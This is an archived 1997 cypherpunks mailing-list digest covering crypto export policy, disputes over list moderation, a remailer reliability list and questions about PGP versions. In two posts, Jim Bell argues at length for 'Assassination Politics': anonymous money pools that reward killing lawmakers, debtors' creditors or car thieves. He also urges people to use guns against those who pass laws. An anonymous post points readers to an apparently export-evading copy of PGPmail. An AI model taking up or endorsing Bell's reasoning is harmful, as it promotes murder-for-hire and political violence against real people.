in the US.  (Personally, I'd put bitter money on that one. <sigh>)

	David Aaron, US Crypto Ambassador and the US permanent rep to the
OECD -- in which role he has strove to convince the newly liberated nations
of Eastern Europe that built-in wiretap links are essential design
components for a modern democratic nation's communications infrastructure
-- was charming and gracious... but it was no surprise that he didn't budge
a bit from the "sovereign right to listen" policy line.

	You shouldn't have skipped the RSA bash, Adam, not even for your
DCS gig in the sunny Caribbean.  There were numerous Lion and the Lamb
drinking bouts thoughout the week (some rather amazing, in terms of both
the participants and the volume of "input".) You would have loved it.
Passions often ran high, but usually in quiet intense coversations. I (one
Lamb, white wool turning gray;-) had distinct impression that there many US
government cryptographers uncomfortable with the Administration's
NSA/FBI-inspired absolutist POV.  Not even all senior feds feel that
Constitutional Law should be (re)written by FBI case agents obsessed with
making it easier to bust some two-bit crack dealer next month.  (Doesn't
mean much in the larger scheme of things, but the pained ambivalence
vividly reminded me of Vietnam debates so many years ago.)

	My favorite quote, from a federal LEA lawyer deep in his cups: "If
the colonial cops, rather than the philosophers, had drafted the
Constitution -- would Madison and Jefferson, et al, have been willing to
even put their names to it??"

	Suerte,
		_Vin

-------- In Reply To:


>Steve Schear wrote:
>| >        What the US government will allow to be exported is not "strong
>| >encryption."  It is encryption only slightly too strong to be broken
>| >by an amateur effort.  For the right investment in custom hardware, it
>| >falls quickly.  (500,000 $US = 3.5 hour avg break).
>| >
>|
>| Considering Ian's feat you certainly seem to have had your crystal
>| ball in hand.

Adam Shostack responded:

>	I wear three around my neck.  Its a new age thing.
>
>	More seriously, that estimate is the cost of breaking DES on
>custom hardware, based on Wiener's figures.  Ian got RC4-40 in 3.5
>hours on I don't know how much hardware, not a lot of it custom,
>AFAIK.

         Vin McLellan + The Privacy Guild + <vin@shore.net>
      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 3 Feb 1997 07:11:12 -0800 (PST)
To: Jim Choate <cypherpunks@toad.com
Subject: Re: Free & Open Society & toleration (fwd)
Message-ID: <199702031511.HAA25748@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:18 PM 2/1/97 -0600, Jim Choate wrote:
>
>Forwarded message:
>
>> Nobody has a problem with your ideals, it's just that Jim Bell is
>> trying to say (correct me and forgive me if I'm wrong) that:
>> 
>> 1. Society will never subscribe to your ideals.
>
>But other than two points they already do. The two points being,
>
>1. Libel is a recognized legal concept now, the difference is one of degree.

Maybe this will appear to you to be too-subtle a distinction, but I don't 
share the misimpression of equating what "society" (the citizenry?) accepts 
and what government-types accept.  For instance, as I understand it the 
public uniformly rejects the concept of wiretaps as a method of 
law-enforcement, yet they are done anyway.  In effect, it would be correct 
both to say:

a.   Society will never accept wiretapping.  (where "society" is defined as 
the collection of individuals)

   as well as saying...

b.   Wiretapping is a "recognized legal concept now."  (because the 
implication is that "recognized" refers to a tiny subset of society, the 
thugs who run the "justice system.")

Now, it's my own personal opinion that wiretapping is unconstitutional, but 
is done anyway for the same reason other unconstitutional things are 
regularly done by government:  Despite public disapproval, the public is 
never actually given the opportunity to make the decision.

The fact is, libel lawsuits are apparently a rather rare "tool" that we 
don't even need.  Perhaps a REAL LAWYER <tm> who is aware of the statistics 
can tell us how often they actually occur.  I argue that something that rare 
is, almost by definition, not really needed.   


>My solutions to these two issues are:
>
>1.  Removal of the lawyer from the ultimate choice of whether the case
>    should be pursued.

Yes, I'd like to "remove a few lawyers," as well.  Not quite the way you 
would, however.


>4.  By the implimentation of a bond proviso on the part of the plaintiff
>    the system provides a check and balance reducing nuisance cases as
>    well as reducing the taxation load on the citizenry.

Why not a full "loser pays" system?  And I mean NOT ONLY for civil cases, 
but also criminal cases!  Perhaps the government would be a bit less 
enthusiastic about harassing drug defendants if it was forced to pay for 
their acquittals after a FIJA loss!   

Consider, for example, that if the government had to pay after a loss, it 
would become very difficult for the government to harrass a person like Phil 
Zimmermann, unlike today where charges can be brought even if it is 
recognized they won't stick, secure in the knowledge that he'd be out a 
great deal of money in his defense.  How much sweeter would the victory be 
if all costs were compensated?  


> 
>> 2. Society is not static, i.e., instead of remaining at a constant
>>    level of corruption, the officials will keep demanding more,
>>    until there's a sudden, catastrophic break.
>
>Absolutely, that is one of the reasons I refuse to seperate those who
>represent the social contract (eg the Constitution) and those who are
>impacted by it, which includes even those who represent it and enforce its
>various responsibilities. AP relies on this distinction as axiomatic. 

Do you always produce such opaque commentary?  <Sigh>   Perhaps you could 
re-write the above statement in ordinary English.

The reality is, the guarantees supposedly provided by the US Constitution 
are guarantees in name only.  The system is thoroughly corrupted and biased.  



>This
>axiomatic view is ultimately based in a jealous greed for what others have
>(ie power, percieved or real) and the implicit belief that all people are
>NOT created equal.

It's hard to know how you come to this conclusion.  If anything, what I'm 
trying to do is to permanently destroy a system which has allowed a tiny 
fraction of society to control things for the rest of us for centuries, and 
longer.  If anything, it is the system I'm trying to destroy which has taken 
the position that, in reality, people are not equal.

On the other hand, I'm NOT a proponent for "egalitarianism," or enforced 
equality, at all!  I'm confident that once the system is dismantled that 
enforces inequality on us, we can live with the result.


>> 3. The AP solution has the potential to stabilize the level of
>>    corruption, which should make violent revolutions and genocide
>>    unnecessary.
>
>But it doesn't. What it does is provide a mechanism for de-stabalization.
>Just look at the Middle East and the history of assassination.
>Assassinations have never stabalized that region or any other.

It's interesting that I keep seeing the same misinterpretations of the AP 
system.  AP is not simply about killing people.  And no, it hasn't been 
tried before.    The occasional assassination is no more like AP than a 
random shot in the dark is like a well-aimed round.  The first may, rarely, 
do the same thing as the second, but there is no prospect of a likely 
repetition.

_SOME_ people seem to "get" this, why not you?  The _absolutely_essential_ 
element that distinguishes AP is the system that allows people's individual 
desires to be denominated in terms of money, and accumulated until an 
anonymous person satisfies that desire and collects the reward.  And, 
moreover, that this system remains in place forever.  


> There is
>nothging in our current understanding of human psychology and social
>interactions that leads to the conclusion that threats of violence will
>necessarily force people to comply. If it did the government (as perceived
>by AP) would not have to deal with real opposition. Simply threaten the
>opposition and it melts away for the same reason that supposedly the
>government would cease to oppose radicalism (ie changes in the status quo
>forced by small groups upon the masses). If anything every real world
>example of AP demonstrates an increase in corruption (eg. Beirut).

I keep telling you that "AP has never been tried before."  


>
>The closest analog in history to AP is the "Flowery Wars" as practiced by
>the Aztecs. However, these were motivated by a belief in religous homogeneity
>and not one of politics. Also, implicit in this was the axiomatic acceptance
>of a real class seperation between those who ruled and those who were ruled.
>By no means could one accept the premise that this caused the Aztec rulers
>to be more sensitive to corruption or the continued existance of their
>system. Another good example is assassination in ancient Rome, it is clear
>that such activities in no way reduced corruption.

AP is NOT the same thing as mere assassination.  Period.  If anything, there 
are excellent reasons why ordinary assassination can, indeed, increase 
corruption while the AP system would reduce it.  

The most obvious difference is this:  The motivations are vastly different.  
Heretofore, assassinations have occurred based on the desires of only a tiny 
fraction of the population.  Often one person, or only a few.  In other 
words, the assassinations which DO occur are NOT the ones that "the rest of 
us" would choose.  The latter type DO NOT occur!  


>If anything AP provides a rationale (ie self-defence) to impose even harsher
>a priori conditions on sections of a society by another part of that society.
>Hardly what I would consider a stabalizing condition let alone democratic.

It isn't necessary that any system be "democratic."    "Democracy" assumes 
that certain questions need to be answered by VOTE, as opposed to simply 
allowing individuals to answer those questions for themselves.  We don't all 
get together and vote on what religion we'll all be forced to observe, do 
we?  No.  That's because it is accepted that certain areas are off-limits 
for even a "democratic" system to decide.  We don't have a national vote to 
decide what color to paint ALL of our houses.   We don't have a vote to 
decide what meal to eat next Thursday.  

Well, in my opinion there are few if any proper functions for a so-called 
"democratic" system.  That's because I believe that most if not all 
decisions currently made in any "democratic" system shouldn't be made at 
that level at all!


>What is required for stability is for each group to feel unthreatened and
>secure in expressing their beliefs without fear of reprisals and at the same
>time recognizing they must provide room for others beliefs. There must also
>be the realization that refusal to abide by these precepts will be met with
>immediate consequences. Something AP can't do, as it explicitly promotes
>threats and the carrying out thereof.

You clearly don't understand it!


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 3 Feb 1997 07:12:46 -0800 (PST)
To: cypherpunks@toad.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702031512.HAA25755@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:10 PM 2/2/97 -0600, ichudov@algebra.com wrote:
>jim bell wrote:
>> 
>> Better yet, set up a system to encourage the public to USE those guns (and 
>> other weapons) to get rid of the people who pass such laws, and the problem 
>> is solved.
>> 
>
>How about this scenario: I borrow 1 million dollars from, let's say,
>Phill Hallam-Baker. Not wanting to pay it back, I pay to the
>assassination bot and arrange him to be murdered.

Simple.  Even if a lendor dies (whether by murder or some other cause, 
perhaps undetermined) you (the debtor) presumably will still be obligated to 
pay back the debt, to his estate if nowhere else.  If you WEREN'T 
responsible for the killing, you should still make the payments. If you do, 
then you had no reason to kill him in the first place.

Even in the hypothetical scenario that the lendor is single, has no family 
or other likely heirs, it would be in his interest to declare that his 
estate goes to charity, including debts to it such as yours.  After all, we 
can assume that he doesn't want to get murdered, and the best way of 
avoiding that fate is to remove whatever incentive might otherwise exist for 
anyone else to kill him.  Making sure that all of his debtors are revealed 
would make it difficult for any of them to get away with murder.  Or, at 
least, prevent the fact of such a murder from eliminating the need to repay 
the debt.

If the fact of the loan were revealed, perhaps only after the lendor's 
death, and ALSO the fact that you (alone among his other debtors) refused to 
pay it back, everyone else in that society might reasonably come to the 
conclusion (absent proof or a good explanation to the contrary) that you 
were probably responsible for the death.  At the very least, they wouldn't 
want to deal with you for fear of a similar outcome (non-payment or death), 
and some of the public would be likely to punish you by donating money to 
see you dead.  They would do this, even if they had no particular link to 
the dead lendor, precisely because the publicity from such an outcome would 
deter other people who might be contemplating a similar thing.

The logic is essentially the same as the situation where a person would 
donate small amounts money to see car thieves dead, even if his car hadn't 
(yet) been stolen:  If it is essentially certain that such a penalty will 
always exist, it will tend to deter future incidents.  All car owners have a 
motivation to maintain that system.

>Another story: suppose that I negligently caused fire that destroys
>house of, say, Toto. Toto knows that if he sues me, I can arrange him
>murdered for the amount less than the amount of damages.

As he could, you.  

Remember, if your bad actions were publicized, your reputation would suffer. 
 If he's satisfied that you are guilty, and can prove it to others, you'll 
be in trouble to have the information published.

(On the other hand, if nobody knows it was you who were responsible, you 
won't suffer, but that's no worse than the status quo.)


> As a result,
>he refrains from suing me, or (if he is a mean person) pays additional 
>money to have me murdered. A suit would probably be a much better outcome.

A "suit" implies that he needs assistance to get the fact of the obligation 
enforced.  Assuming he has enough proof to win a lawsuit, he has more than 
enough proof to sour everyone else on dealing with you in the future, and 
possibly get them to donate to see you dead.  Do you risk it?


>Another story: suppose that OKSAS hired me to work for her, but then
>our relationships go south and she fires me. Again, her fate is very
>unclear, although I would probably spare her life if it were she. 
>
>The bottom line is, it becomes very hard to do ANYTHING that disappoints 
>at least somebody. That can lead to a lot of inefficiencies.

I predict that agreements will simply change to avoid (or anticipate) such 
disappointments, in order to ensure that neither party feels "taken" if 
things don't work out as planned.  Or, if there is an 
innocent-and-unavoidable breach of the agreement that harms one person, the 
other will be motivated to make it up to the first.  In effect, they'll have 
to find a mutually-agreeable middle ground.



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 3 Feb 1997 06:55:47 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702031455.GAA25476@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Unfortunately, Sandy responded to my post with his own flames ("piffle,"
"disingenous," "straw man," etc.). Now he may well think his points are not
flames becuase they are "true," but to me they take the form of flames. But
then I have long disliked Sandy's method of argument. Nothing personal. But
I find Sandy's series of dismissals--in other posts from other people, not
just this one--to be "flamish." As Sandy says, your mileage may vary.

As Sandy did a too-common section-by-section disssection, I'll do the same
for his comments.

At 9:55 PM -0800 2/2/97, Sandy Sandfort wrote:

>> I chose not to write a "departing flame" (or message, but some might call
>> it a flame) when I unsubscribed several weeks ago--within an hour of
>> reading that John and Sandy had decided to make "their" list a moderated
>> list,...
>
>This is Tim's first error of fact.  I point it out not to insult
>him, but because it seriously affects much of the rest of his

How can this be an "error of fact" when I am clearly setting out a point of
view? Is it an error of fact that moderation was happening? Or is the
disagreement with my quotes around "their"? This was clearly an expression
of sarcasm. Hardly an "error of fact."

>> ...and saw no point in wasting even more of my time arguing against the New
>> Cypherpunks World Order, as the NCWO was clearly presented as a fait
>> accompli, not something ablut which opinions of list members (or even list
>> _founders_, at least not me) were being sought.
>
>Factual error #2.  There was a call for comment; Tim chose not to
>do so.  In retrospect, I wish we had run it by Tim, Eric and

John's message did not say he was thinking about instituting censorship, it
said he was in the process of setting up such a system. As for the comments
solicited, I noticed no changes whatsoever.

(I guess the several dozen comments were "errors of fact," "piffle," and
"straw men." Can anyone think of a single one of the various points made
after John's announcement that changed the plan in any significant way?)

>> I see vast amounts of bandwidth consumed by arguments about
>> moderation, about the putative biases of the Moderator and Director of the
>> New Cypherpunks World Order, about alternative moderation strategies (which
>> is stupid, as John and Sandy announced what they were going to do, not just
>> some of their preliminary thoughts), and so on. I've also noticed fewer
>> substantive essays.
>
>And I see something different.  Since previously, Tim actively
>filter the list, I'm not sure on what basis he can make his
>comparison.  As just one example (though a signicant one) Dimitri

That's an easy one, one I explained at least two or three times in the last
half year: I used Eudora Pro to sort mail into various folders. I'm quite
aware of what is going into various folders, and sometimes I even look in
them. Clear enough?


>has posted more non-flaming, on-topic posts during the two weeks
>of this experiment then in the previous several months.  In my
>opinion, other than for the hysterical posts of a very few
>self-righteous loudmouths, the overall quality of the posts has
>been far superior to what it had become in the weeks before the
>experiment began.  YMMV.

Piffle. Nonsense. If you think the overall quality of posts is superior now
to what it had been, your bias in favor of your own brain child is so
powerful that it's warped your judgment.

Who else thinks the quality is now higher?

(By the way, I don't think the proper statistical method is to "average"
all of the posts, including the Vulisgrams and the scatolological insults,
as these were easily filtered by anyone with a clue. Rather, look at the
substantive and stimulating essays, the important ones, and ask if they
have gotten better. It's disingenuous to claim that filtering out the
childish insults has improved the quality of the essays. As I said, I've
seen the opposite. You apparently think differently.)

>> (Others did too, but they seem to be tapering off as well, leaving the list
>> to be dominated by something called a "Toto," the "O.J. was framed!"
>> ravings of Dale Thorn, the love letters between Vulis and someone name
>> Nurdane Oksas,...
>
>Two points:  Since Tim largely agrees with those in opposition to
>moderation, and because of the extraordinary nature of Tim's post,
>I did not send it to the "flames" list.  It was a judgment call.

Here Sandy is really going over the line. He is saying he _almost_ filtered
my message into the reject pile, where later he claims I would have no
problem writing an essay and not knowing whether it would be filtered into
the Good or the Bad pile. He later writes, in response to my point:

"(Frankly, one of my considerations in leaving was the feeling that I
>> would never know if an essay I'd spent hours composing would be rejected by
>> Sandy for whatever reasons....
>
>Tim, I think this is disingenuous.  I have been quite clear on
>my moderation criteria.  You are too intelligent to feign such
>a lack of understanding."

So, given that I wrote my essay today, should I have known if it would be
filtered into Sandy's "Not Fit for True Cypherpunks" list, or the Approved
list? Sandy implies that he himself had to make a "judment call" on this
one.

Hey, people, this shows how fucked up things have gotten. Lord Almighty
Sandy says my long-considered, well-written essay was _almost_ shitcanned
("It was a judgment call"). And for what reason? Apparently because of a
single paragraph that mentioned "Toto" and Dale Thorn (oh, and Nurdane and
Vulis and their love relationship) in unflattering terms.

Is this the crap the Cypherpunks were founded to put up with? A petty
satrap deciding to filter out a long and substantive essay because he feels
some paragraph is insulting? What a state of affairs.

This more than anything demonstrates the truth of Lord Acton's maxim about
absolute power corrupting absolutely. Sandy feels free to flame away
(piffle, straw man, logical fallacy), but expresses umbrage at my very
accurate comments about ravings and rantings of certain list memmbers.

(Perhaps Sandy will censor this message, feeling you readers are not able
to handle my dismissal of his asinine views. This will leave the Censor
having the final word, which is "not unexpected." When a censor gets into a
debate with one of his charges, this is what often happens.)

>> * But the really important issue is this: is the _physical hosting_ of the
>> Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list
>> was hosted by, say, UC Berkeley or PGP Incorporated, would we consider
>> these hosts to be the "owners" of the Cypherpunks group?...
>
>I think this is a Straw Man.  John and I have never argued that
>John "owns" cypherpunks.  When a Cypherpunk meeting is held in
>someone's living room, however, I don't think it's asking to much
>to ask everyone to follow the local rules (e.g., "no shoes in the
>house" or "no smoking" or even "no ad hominem attacks").  As Tim
>is fond of saying, "my house; my rules."  I don't think this
>means Tim "owns" a physical meeting in his house.

This is precisely the point I made!

As for John instituting a censorhip policy, as I said, he is of course free
to do it. It may be foolish to do so, but he is free to do so. And those of
us who don't like what this all means are free to leave. Sounds fair to me.

>> While John had (and has) every legal right
>> to do with his property as he wished, the effect was very negative. First,
>> Vulis found other ways to post (duh).
>
>Tim, do you really believe that John did not anticipate this?

I have no idea what John anticipated and didn't. But if he knew it wouldn't
work, why bother? Not only did Vulis actually start posting _more_, it also
consumed the list in a frenzy of posts about it.

(By the way, remember that we are here talking about the unsubscription of
Vulis by John. My reason for this reminder will be clear in a moment.)

>> Second, the list was consumed with
>> flames about this, many from Vulis, and many from others.
>
>It was consumed with flames before.  Now, at least, the vast
>majority of folks on the list don't have to read them, nor jump
>through any hoops to implement some sort of dynamic filtering
>half-measure.

We're talking about Vulis being unsubscribed, not the list censorship episode.

>> Third, journalists (who love sizzle over substance any day of
>> the week) lept into the fray with articles which gave Vulis the
>> publicity he craved.
>
>That's what journalist do, though I wasn't aware of ANY articles
>on this issue.  I would appreciate it if Tim could give us some
>citations.

Again, we're talking about the Vulis unsubscription episode. Go back to the
archives covering this period. Declan McCullough wrote an article about
this, giving Vulis much publicity. And some of us were contacted by other
journalists asking for our views, for what this meant about for the list's
espoused philosophy about anarchy, etc. (I refused to comment, of course.)


>> Fourth, it sent a message to enemies of liberty that "Even the
>> Cypherpunks have found it necessary to abandon their anarchic
>> ways."
>
>That's one message that one could take from all this, I suppose.
>I don't see it that way, nor do several list members who thanked
>me in private e-mail for improving the list.  Again, YMMV.

Once again, the subject of the section you're citing was about the Vulis
unsubscription matter. I think, Sandy, you need to read more carefully
before you denounce arguments.

>> (I'm well aware of the issues with pests like Vulis, who seek to destroy
>> virtual communities like ours. But the solution John used did not work, and
>> generated more crap....
>
>What didn't work was "local filtering" which has no feed-back
>loop to engender comity.  This might not work either, but I see
>no evidence that it has made things worse.  Remember, there are a

If you see no evidence that is has made things worse, then apparently you
haven't seen that I have not been posting for the past month. Whatever my
reasons, if you can seriously claim that you can see "no evidence" that a
change of some sort has occurred...

>hand-full of subscribers to the Flames list, 20-30 on the
>Unedited list and *2000* or so on the Moderated list.  Sure some
>of that may be due to laziness, but it would be cavalier in the
>extreme to claim that such an overwhelming acceptance of
>moderation is merely an artifact of inertia.

I still maintain, as others have as well, that a better approach would have
been to announce the "Sandy-approved" list as a new option. Changing the
main list to the censored version was a way to exploit the name of the
list, etc.

(Consider if Eric Blossom's filtered list was suddenly declared to be the
"Cypherpunks" list. This is essentially what has happened. A major screw
up. And I don't really think it germane to cite how many are on each list.
Sheep are sheep, and, frankly, about 1850 of those putative "*2000*" on the
main list are never, ever heard from.)

....
>Tim and I disagree on which definition of "censorship" applies in
>this situation.  Dale Thorne, and others, have argued, in essence,
>that there is censorship if ANY definition would apply.  I'm not
>sure time is going that far, but if so, I respectfully disagree.
>
>But let's apply Tim's above definition for the sake of argument.
>Am I, thereby, a censor?  Well I am examining "other material"
>and I am making judgments with regard to whether or not it is
>"objectionable," unfortunately for Tim's argument, I am neither
>"removing" nor "supressing" anything.  Anybody can read anything
>that gets posted to Cypherpunks--in two places.  I am sorting,
>but even my sorting can be completely avoided.

Sophistry.


>> * OK, even given that John had decided to censor "his" list, what about his
>> choice of Sandy Sandfort as the censor?
>
>John didn't choose me, I approached him.  I offered my opinion as
>to what I thought HE ought to do about the list disruptions.  The
>short version of his answer was, "if you think you can do a
>better job, go for it."  I accepted the challenge, so here I am.
>I don't want this job.  If the list members decide to keep the
                                ^^^^^^^^^^^^^^^^^^^

By the way, how is this to be "decided"? A democratic vote of the herd? Do
all "*2000*" get a vote? Are we moving from benevolent dictatorship to
direct democracy?


>> * Nor do the announced criteria make any sense. While the inane one-line
>> scatological insults have been filtered out, many "flames" make it through,
>> based on what I've seen in perusing the hks archive site. And some
>> reasonable comments get dumped in the flame bucket.
>
>Very possibly true.  Moderation is like crypto, perfection isn't
>and option.  However, a 90% solution is a heck of a lot better
>than no solution at all.  Yes, I've made what I consider to be
>errors, but I think on some, I've done a very good job overall.

You seriously think that establishing the idea that "even the Cypherpunks
group accepts the need for censorship of unpopular views" is worth the
minimal bandwidth savings of not having some of the scatological one-liners
and insults? The huge amount of list animosity (so much for "comity") and
bandwidth on this censorship issue dwarfs the bandwidth taken up by the
Vulisgrams.

>> * (Frankly, one of my considerations in leaving was the feeling that I
>> would never know if an essay I'd spent hours composing would be rejected by
>> Sandy for whatever reasons....
>
>Tim, I think this is disingenuous.  I have been quite clear on
>my moderation criteria.  You are too intelligent to feign such
>a lack of understanding.

As I noted earlier, you yourself said it was a "judgment call" for you to
not put my message in the flames pile. So, did I truly not understand your
criteria for approval (which means I wasn't feigning ignorance), or did I
understand that which you yourself acknowledged having to make a judgment
call (kissing cousin to a "guess" where I come from) on?

If you are unsure whether to dump a major, substantive essay into the
flames pile or allow it to be read by the main list, then this makes my
point precisely. I don't want Sandy Sandfort sitting in judgment on my
posts, deciding what the Cypherpunks--a group I co-founded for God's
sake!!!!--are to be allowed to read and what they may not.

(Saying what Sandy is doing is not "censorship" but is only "sorting" is
pure sophistry.)


>> maybe he might think my essay was off-topic,
>
>Clearly not a criterion I ever enunciated.

Another part of the problem is that the standards have not been clearly
stated. "Flames" have not been defined in any meaningful way. Apparently
it's OK for you to refer to my arguments as "disingenuous" and "piffle,"
but referring to someone's repeated ravings about how O.J. was framed is
"flaming."

Piffle.

>> * The decision to "moderate" (censor) the Cypherpunks list is powerful
>> ammunition to give to our opponents,
>
>Piffle.  Letting spoiled children destroy the list puts a far
>more powerful weapon in the hands of our enemies.

See what I mean? "Piffle."

("piffle, n. Foolish or futile talk or ideas")

Hardly a substantive argument. I'd call it an insult. And I'll bet that if
Phill Hallam-Baker dismisses an argument with a "foolish" one-line
characterization, it will be viewed as a flame. (Well, not now, now that
Sandy is apprised of this.)



>> and Vulis is certainly gleeful that
>> his fondest wishes have been realized.
>
>I do not have a crystal ball.  My Vulcan mind meld is in the
                                   ^^^^^^^^^^^^^^^^

Ah, a non-flamish way of making an argument. Dismissive jokes substituting
for responding to my _opinion_.


>> (I would venture a guess that a Duncan Frissell would almost certainly get a
>> libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to
>> get a leftist rant past him.)
>
>I sorry Tim gives me so little credit.  Rather than merely post a
>self-serving denial, I would ask that Phill confirm or deny Tim's
>supposition.  To the best of my recollection, I have sent only
>one post of Phill's to the Flames list.  It flamed Jim Bell.  As
>far as moderating political rants go, I'm agnostic.

Again, look at what the Cypherpunks list has become! Because some of the
barnyard insults were getting to some people, we now have a situation where
a thoughtful commentator like Phill H-B (who I rarely agree with, by the
way, but his essays show he's thinking about issues deeply) has his stuff
sent to the scrap heap because he "flamed" Jim Bell? Or was it a critique
of Bell's "assassination politics" ideas and the way he presents them,
perhaps with a single flamish comment (a la the comment I made that caused
Sandy to almost mark my entire essay as unfit for Cypherpunks)?

I urge Phill, or others, to retrieve this offending article and repost it.
Or use "*%&$" symbols where the banned flame language was contained, so it
will pass muster with Sandy. Then we can better judge just what we're
giving up in order to have the kind of "comity" which Sandy thinks he is
creating.


--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Mon, 3 Feb 1997 07:10:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGPmail 4.5 exported
Message-ID: <199702031510.HAA25655@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming.
The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'.
Could somebody who bought the software check that this is the same
file.

It is presumably free for use outside of North America, since PGP
Inc. can't be expected to accept payment from foreigners... :-)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Larry Johnson <lwjohnson@grill.sk.ca>
Date: Mon, 3 Feb 1997 06:40:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: About: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702031440.GAA25293@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


For what it's worth, I think that this Tim May, not being a
user of the list, has no place to talk. His type, to me,
characterate those who quit something and complain later,
knowing that some people will listen to them.

So what, if he decided to leave? It was his own choice
and he can't just come back and say everyone who stayed is
now impelled to listen to him, just because he used to
do a bunch of posts. I don't think that hardly any of
you would listened to me later if I left the list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Larry Johnson <lwjohnson@grill.sk.ca>
Date: Mon, 3 Feb 1997 07:10:58 -0800 (PST)
To: Mark Henderson <mch@squirrel.com>
Subject: Re: PGP 2.1
Message-ID: <199702031510.HAA25728@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mark Henderson wrote:
> 
> Larry Johnson writes:
> > Hello,
> > Can any;one tell me how to get a version of PGP 2.1?
> > Thanks
> >
> But, why do you want version 2.1?

Because the guy who wrote it was let off after that on his jail 
charges, so I'm not going to use anything he made after that if
I don't know why.
I'm not saying that he rolled over or nothin buyt I'm gonna be
paranoyd like he said in the book. I dont suposse he'd mind,
since he said it.
I'm not real smart sometimes but I'nm not a real lamer, either.
(I don't think)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 3 Feb 1997 07:11:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199702031511.HAA25742@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 3 Feb 97 6:48:17 PST
remailer  email address                        history  latency  uptime
